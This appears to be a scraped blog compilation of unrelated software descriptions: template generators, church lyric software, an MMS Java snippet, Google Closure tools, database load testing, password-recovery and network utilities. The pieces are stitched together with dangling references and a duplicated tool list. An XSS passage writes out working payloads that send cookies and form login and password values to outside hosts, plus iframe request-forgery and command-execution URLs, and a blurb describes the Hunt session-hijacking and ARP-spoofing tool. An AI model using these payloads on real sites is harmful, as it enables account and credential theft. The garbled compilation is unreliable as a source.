Acceleo is easy to use. It provides "off the shelf" generators (JEE, .Net, Php…) and template editors for Eclipse.

Acceleo is natively integrated with eclipse. It is completely merged with its interface for better efficiency and user experience.

Acceleo provides many features for template editing

• syntax highligthing
• meta-model and scripts based completion
• real time error detection
• real time preview

Acceleo is based on the main industry standards to guarantee high level compatibility, interoperability and durability.

Acceleo is especially compatible with XMI 1.x and XMI 2, ensuring compatiblity with the main UML modelers on the market (RSM, Together, Poseidon, …).

Datasoul keeps lyrics and display format independently. This means that when you want to change the font format or the background image, you don’t need to change tons of files. Take a look on how easy it is in Datasoul.

Beside the lyrics, Datasoul can also hold the chords for the songs. In this way, once you have selected the songs to next service you can easily retrieve the chords for that songs to print or send to the musicians.

In most churches, usually you need to display some announcements during the services. It’s a baby crying on the nursery or a car wrongly parked, something always happen. Know how Datasoul handles this situations.

Several churches use video cameras to record or transmit live images form the service. Datasoul can integrate in these systems and provide an effective solution for displaying lyrics.

Do you have all your songs in EasyWorship? There is an import tool available that converts it into Datasoul format. Once imported, you can also take your database to another operational system such as Linux or MacOS.

Qmmander is written in C++ and uses Qt, a cross-platform application and GUI framework from Nokia.

A simple sample is provided to show how to use it together with jWAP to send out MMS using MM1 protocol.

   1: WAPClient wapClient = new WAPClient(wapGatewayHost, wapGatewayPort);

   2: PostRequest request = new PostRequest(servlet);

   3: request.setContentType("application/vnd.wap.mms-message");

   4: request.setRequestBody(encodedMms);

   5:  

   6: System.out.println("Connecting to \"" + wapGatewayHost + "\":" + wapGatewayPort + "…");

   7: wapClient.connect();

   8:  

   9: System.out.println("Sending mms message through \"" + servlet + "\"…");

  10: Response response = wapClient.execute(request);

  11: byte[] binaryMms = response.getResponseBody();

  12: wapClient.disconnect();

  13: try {

  14:     MultimediaMessageDecoder dec = new MultimediaMessageDecoder(binaryMms);

  15:     dec.decodeMessage();

  16:     MultimediaMessage message = dec.getMessage();

  17:  

  18:     System.out.println("Status: " + response.getStatus());

  19:     System.out.println("Status Text: " + response.getStatusText());

  20:  

  21:     if (response.getStatus() == 200) {

  22:         System.out.println("Message id: " + message.getMessageId());

  23:         System.out.println("Message sent!");

  24:     } else {

  25:         System.out.println("Message is not sent");

  26:     }

  27:  

  28: } catch (Exception e) {

  29:     System.out.println(e.getMessage());

  30: }

A JavaScript optimizer

The Closure Compiler compiles JavaScript into compact, high-performance code. The compiler removes dead code and rewrites and minimizes what’s left so that it downloads and runs quickly. It also also checks syntax, variable references, and types, and warns about common JavaScript pitfalls. These checks and optimizations help you write apps that are less buggy and easier to maintain. You can use the compiler with Closure Inspector, a Firebug extension that makes debugging the obfuscated code almost as easy as debugging the human-readable source.

A comprehensive JavaScript library

The Closure Library is a broad, well-tested, modular, and cross-browser JavaScript library. You can pull just what you need from a large set of reusable UI widgets and controls, and from lower-level utilities for DOM manipulation, server communication, animation, data structures, unit testing, rich-text editing, and more.

The Closure Library is server-agnostic, and is intended for use with the Closure Compiler.

An easy templating system for both Java & JavaScript

Closure Templates simplify the task of dynamically generating HTML. They have a simple syntax that is natural for programmers. In contrast to traditional templating systems, in which you use one big template per page, you can think of Closure Templates as small components that you compose to form your user interface.

Closure Templates are implemented for both JavaScript and Java, so that you can use the same templates on both the server and client side. For the client side, Closure Templates are precompiled into efficient JavaScript.

Hunt is a program for intruding into a connection, watching it and resetting it. Hunt operates on Ethernet and is best used for connections which can be watched through it. However, it is possible to do something even for hosts on another segments or hosts that are on switched ports. Hunt doesn’t distinguish between local network connections and connections going to/from Internet. It can handle all connections it sees. Connection hijacking is aimed primarily at the telnet or rlogin traffic but it can be used for another traffic too. Features: connection management (watching, spoofing, detecting, hijacking, resetting), daemons (resetting, arp spoof/relayer daemon, MAC discovery daemon for collecting MAC addresses, sniff daemon for logging TCP traffic), host resolving, packet engine (TCP, UDP, ICMP and ARP traffic; collecting TCP connections with sequence numbers and the ACK storm detection), switched environment (hosts on switched ports can be spoofed, sniffed and hijacked too). This latest release includes lots of debugging and fixes in order to get the hunt running against hosts on switched ports, timejobs, dropping IP fragments, verbose status bar, options, new connection indicator, various fixes.

Types of information leakage due to XSS attack

1. Client can reveal cookies to 3rd party (session state, order info, etc)

http://host/a.php?variable="><script>document.location=’http://www.cgisecurity.com/cgi-bin/cookie.cgi?document.location=’http://www.cgisecurity.com/cgi-bin/cookie.cgi">http://host/a.php?variable="><script>document.location=’http://www.cgisecurity.com/cgi-bin/cookie.cgi?
‘%20+document.cookie</script>

2. Client can reveal posted form items to 3rd party (userID/passwd, etc)

<form> action="logoninformation.jsp" method="post" onsubmit="hackImg=new Image; hackImg.src=’http://www.malicioussite.com/’+document.forms(1).login.value’+':’+ document.forms(1).password.value;" </form>

3. Client can be tricked into accessing/posting spoofed info to trusted server

http://www.trustedserver.com/xss.asp?name">www.trustedserver.com/xss.asp?name = <iframe
src=http://www.trustedserver.com/auth_area/orderupdate?items=4000></iframe>

4. Client can be tricked into attacking other sites

/hello.asp?name = <iframe
src=http://vuln.iis.server/scripts/root.exe?/c+dir></iframe>

With this library you can create messages and add multimedia parts such as JPEG, GIF, AMR, MIDI and so on. Messages received from phones can also be unpacked and attachments can be extracted. The library also contains a limited MMS sending functionality that uses a HTTP service to send SMS:es. You would probably have to change the actual implementation of the SMS sending to fit your way of sending SMS:es (if it is over serial port, to a real SMSC or through some other type of HTTP service). This is all done with the three classes MMSDecoder, MMSEncoder and MMSNotifyer.

Features

Supported Search Engines:

• Google
• Yahoo
• MSN
• AltaVista
• AllTheWeb
• AOL
• DMOZ

Vulnerability Databases:

• GHDB
• NIKTO
• GSDB
• WMAP
• URLCHK
• NESTEA

Advanced Features:

• Mine domain names belonging to a target site
• Indirectly scan a range of IP addresses
• Quickly create new custom Search Engine signatures and Vulnerability Databases.

Avidemux is available for Linux, BSD, Mac OS X and Microsoft Windows under the GNU GPL license.

Emerge Desktop is implemented with MinGW which is an OpenSource implementation of the GNU C compiler and utilities. Up to this point, closed source commercial projects have mainly been used (Microsoft Visual C++, Borland Delphi) to develop alternate shells as they use proprietary Microsoft API features. With Microsoft releasing more detailed information about these API calls, the MinGW win32api is now quite complete. Additionally, several web sites on the internet have started to include documentation and code that illustrate how to access and use these functions.

Emerge Desktop has an open API, which allows for applets to be coded with compilers other than MinGW if someone wishes to do so.

Emerge Desktop is written in C++, primarily developed with MinGW and is licensed as OpenSource (under the GPL). All the source is available in Subversion at Sourceforge. Emerge Desktop can be developed using Code::Blocks, an IDE for MinGW.

Fences is a one-of-a-kind program, allowing you to draw labeled shaded areas on your desktop, which become movable & resizable containers for your desktop icons. These groups can help bring organization and consistency to your computer’s desktop, solving the "constant mess" problem that has plagued the desktop since its inception.

Fences also helps you finally appreciate the wallpaper you have hiding behind all that clutter.
In addition to its organizing features, Fences offers a patent-pending quick-hide feature. Double click your desktop, and all your icons will fade out. Double click again, and they’ll return.

It has some basic html parsing functionality, to provide access to elements of the result html page that are needed for testing (mainly links and forms).

A typical test script looks like this:

   1: set SERVER "testserver"

   2: do_request "http://$SERVER/sometesturl/"

   3: assert text "some text"

   4:  

   5: link follow "login"

   6:  

   7: field fill "testuser"

   8: field fill "testpassword"

   9: form submit

  10:  

  11: assert text "you are logged in as testuser"

  12:     

Hammerora has been designed as an Oracle environment load testing tool and does not compromise on performance for generality.  Support for MySQL was added as the most requested feature after the Oracle acquisition of the InnoDB storage engine. Hammerora interacts with the Oracle database using the OCI based Oratcl , MySQL with MySQLTCL (both share a common ancestor in Sybtcl) and web based environments using Tclwebtest.  Hammerora can therefore test all aspects of your Oracle enviroment including database and application server. For databases Hammerora can convert real Oracle trace files and replay them back with multiple users using Oratcl. There are also pre-built simulations based on the TPC-C and TPC-H benchmark specifications in order that there are multi-user workloads that you can begin to use straight away.

TCL has been used as it provides high performance associated with the C programming language that the language is written in without the inconvenience or expertise required to recompile generated load testing programs. TCL is also exceptionaly light on system resources meaning that a notebook or desktop system can easily load test a powerful database or application server environment. The power, flexibility and extensibility of TCL means that the potential functionality is unlimited and its ‘hot pluggable’ architecture means any required functionality can be added to the multi-threaded user framework enabled by TCL Threads. For example users looking to test TimesTen may wish to investigate the TclODBC package.

Using Hammerora is straightforward and easy and the following gives a brief overview and introduction to using the application. For installation see the information provided on the installation page. After a successful install you are presented with the default Hammerora editor and virtual user windows. The editor pane provides the focal point of Hammerora functionality. Within this pane you will load, write or convert a trace file to produce a script written in the TCL language.

With this in mind, if developer does not use a centralized server to retrieve the time, it would pose a problem.

Image the following scenario,

1. You have 10 Java applications accessing a database server
2. Each application servers have been running for some time, and the Java applications time are now few minutes apart
3. 1 application inserts a record using the current time as the record effective date
4. Another application retrieves the record and compare the effective date with its current time

In the above scenario, even though your application logic may sound correct, and when it is running in production environment, thing will go wrong.

For password recovery, there are

• Mail PassView - Recover the passwords of popular email clients: Outlook Express, MS Outlook, Eudora, Mozilla Thunderbird , and more…
• MessenPass - Recover the passwords of instant messenger programs: Yahoo Messenger, MSN Messenger, Trillian, and more…
• Dialupass: Dialup Password Recovery - Recovers the passwords of dialup entries (VPN and Internet connections). Works also under Windows 2000/XP.
• Network Password Recovery - Freeware utility that recovers the network passwords stored by Windows XP (Credentials file).
• Asterisk Logger - Reveal the passwords hidden behind asterisk (’****’) characters in standard password text-boxes.
• SniffPass - Password Sniffer - Listen to your network, and capture POP3, IMAP4, SMTP, FTP, and HTTP (basic authentication) passwords
• PstPassword - Recover the password of Outlook PST file.
• Protected Storage PassView - Displays all passwords and AutoComplete strings stored in your Protected Storage.

For network tools,

• NetResView - View all computers/shares on your network.
• BluetoothView - Monitor the Bluetooth activity around you.
• SmartSniff: TCP/IP Sniffer - Capture TCP/IP packets on your network adapter and view the captured data as sequence of conversations between clients and servers.
• CurrPorts: TCP/IP Connections Viewer - Freeware tool that displays the list of all currently opened TCP and UDP ports on your local computer.
• AdapterWatch - displays useful information about your network adapters: IP addresses, Hardware address, WINS servers, DNS servers, MTU value, Number of bytes received or sent, The current transfer speed, and more…
• WirelessNetView - View the details of all wireless network in your area (SSID, Signal Quality, MAC Address, and more…)
• DownTester - Test the download speed of your Internet connection.

For internet related tools,

• NetResView - View all computers/shares on your network.
• BluetoothView - Monitor the Bluetooth activity around you.
• SmartSniff: TCP/IP Sniffer - Capture TCP/IP packets on your network adapter and view the captured data as sequence of conversations between clients and servers.
• CurrPorts: TCP/IP Connections Viewer - Freeware tool that displays the list of all currently opened TCP and UDP ports on your local computer.
• AdapterWatch - displays useful information about your network adapters: IP addresses, Hardware address, WINS servers, DNS servers, MTU value, Number of bytes received or sent, The current transfer speed, and more…
• WirelessNetView - View the details of all wireless network in your area (SSID, Signal Quality, MAC Address, and more…)
• DownTester - Test the download speed of your Internet connection.

It is derived from WiredX-Lite and will run on any platforms which support Java 1.1. This X server will not be suitable to exec heavy x clients, but you may find that twm, xterm, etc. will run fine on it.